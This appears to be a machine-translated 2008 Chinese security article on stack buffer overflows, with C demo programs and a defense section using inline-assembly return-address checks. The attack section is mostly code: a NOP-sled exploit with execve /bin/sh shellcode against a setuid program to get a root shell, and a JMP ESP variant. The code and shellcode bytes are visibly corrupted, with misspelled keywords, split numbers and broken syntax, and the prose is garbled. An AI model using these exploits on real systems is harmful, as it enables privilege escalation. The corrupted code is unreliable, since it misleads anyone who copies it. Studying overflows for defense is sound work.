A stack overflow attack and the anti-vulnerability warning-the black bar safety net

ID MYHACK58:62200820728
Type myhack58
Reporter 佚名
Modified 2008-10-18T00:00:00


Overflow is the security of the network is often a contact to a problem, once there is some kind of overflow vulnerability, the network of thousands of computers will become a Hacker brothers and sisters on the chopping block of meat. Then the overflow in the end is what? This attack method requires how to use and precautions? Slowly look down to know.

Overflow is a program for users to submit data without any checks or check not completely caused by the program/memory errors, in the learning of it before the reader friends to be sure to understand virtual memory concept, where I of these things do not make a presentation, and want to know friends can go to look at the other books.

We first take a look at stack overflow what is, look at the following program:

void lizi(int a ,int b) { char buffer[5]; char buffer1[1 5]; } viod main() { lizi(1,2) } The above C Program on compilation is displayed as follows: <main> pushl $1 pushl $2 call lizi <lizi> pushl %ebp movl %esp,%ebp subl $2 0,%esp

We adopted the two procedures comparison can be found, when the call LIZI function of time, so that the first two parameters into the stack, followed by the current instruction the next instruction into the stack(ret address)immediately to the current reference of the bottom also into the stack(EBP), and then in turn to the BUFFER and BUFFER1 is assigned a 2 0 bytes of space, then the function call returns the time and what happened? The first is to restore the EBP bottom of the content, and then the RET popped into the EIP inside, so that the program will go to the implementation of the EIP point to the address. That's a function call, we then take a look at this section of the program: the

void lizi(char *buffer) { char buf[8]; sprintf(buf,“ % s”,buffer) } viod main() { char buffer[9 9 9]; int i; for(i=0;i<9 9 8;i++) buffer[1]=’a’; lizi(buffer) }

Running it after will appears abnormal, why this is so? Because the buffer of the intermediate 9 9 8 a, whereas the buf can only hold 8 bytes, then it will overwrite our ret address and the other memory. If we write a Shellcode, and then use a pointer to the Shellcode value overwrites the RET address, the program will go to execute our Shellcode, but how can we construct our Shellcode address? Fortunately the older generation of seniors invented a NOP method, here I give you a program demo:

Void lizi (char buf) { char sr[1 2]; trcpy(sr,buf); } void main () { char shellcode[]=“\xeb\xif\x5e\x89\x 76\x88\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff/bin/sh” int 1; char buf[2 0 0 0 0] , unsigned ret=0x00010000; meset(buf., 0x90,sizef(buf));/0x90 is the NOPS*/ memcpy(buf+1 4,ret,4); memcpy(buf+1 9 0 0,shellcode,stelen(shellcode); lizi(buf); }

To the program plus the SETUID bit, exit ROOT and then use ordinary users to run, see? bash#out!

Later some whiz came up with a new method: using a pointer to CALL ESP or JMP ESP address to overwrite the RET, so we use the Shellcode to overwrite the ESP is OK-the SQL Confucianism insect King you remember? It is the use of this technique, with 0x42b0c9dc cover RET, but it just points to JMP ESP. Write a program to his home and see:

void lizi(char *str) buffer[1 4] strcpy(buffer,str) } ovid main() { char str99]; unsigned ret int i; _asm { pop $+4 call esp pop ebx } char shellcode[]=“\xeb\xif\x5e\x89\x 76\x88\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff/bin/sh”; for(i=0;1<1 6;i++) str[i]=0x90; sprintf(ret,”return address is % X“, ebx); memcpy(str+1 6,ret,4); memcpy(str+2 0,shellcode,strlen(shellcode); lizi(str) }The above lizi function does not check parameters of the length, directly STRCPY to a BUFFER inside the return address to point to CALL ESP, the ESP points to the SHELLCODE in.

Well, say, two attack method, we must be very want to know what preventive method? In fact, a stack overflow in many ways, if you want to know more ways you look at the Black anti-before the cattle people to write articles, well, here to talk about Defense method.

Defense articles

In fact, to prevent stack overflow the best way is to write a program to keep a fresh mind, so to write more secure code. Here I introduce to you the two prevent the stack overflow method.

The first: in fact, now many people are using this defense method, that is, the function returns the address of the check law. Here I wrote some code for your reference. In fact, a function return address to check the law first is in the function call when the return address is placed into another stack inside the function returns, and then compare RET and its value, if not, then it is being illegally rewritten. Be the first in the program up front to apply for a space:

Int x=0;

User[1 2 8];

Then write two functions:

int start() { _asm { mov eax,[esp+2] mov [user+x],eax add x,4 } }

This function is used to put the RET address to the USER, see the end of the function:

end() { _asm { sub x,4 mov ax,esp cmp user,eax ................................ }

The second I think is my own invention Oh, Hey, don't know if it didn't meet the high hand are something, laugh. This method can prevent the NOPS this attack technique, my idea is first to program a new stack, and then at each return when the judge returns whether the address is the stack inside address, so the program if you want to jump directly to the stack execution while it is impossible. See the code:

unsigned ret; static char stack[8 mb]; _asm { mov esp,(stack+sizeof(stack)) }

This code is placed in the program previously, give the program a new stack, and then to each function to determine the return address:

lizi() { _asm { move eax,esp mov ret,eax } if(ret<( stack+sizeof(stack))|| ret> (stack+o) ................................................... }

So that you can play a good prevention method, in fact, the most important way is sure to for the user to enter the data for length, type check(Note: If the determined length of time, do not accept negative numbers, this also can cause overflow of).

You remember six months ago LNUIX the DO_BRK()function? It is because of the parameters not be a good check caused. This vulnerability to cause the ordinary user can override the UID value, although not part of the overflow, but it is also because of the user-submitted data without checking caused.

Well, write so much, hands are knocking soft, finally finished. Because the author Technology Limited and the time hasty, it is inevitable that the wrong place, hope master can be a lot of advice.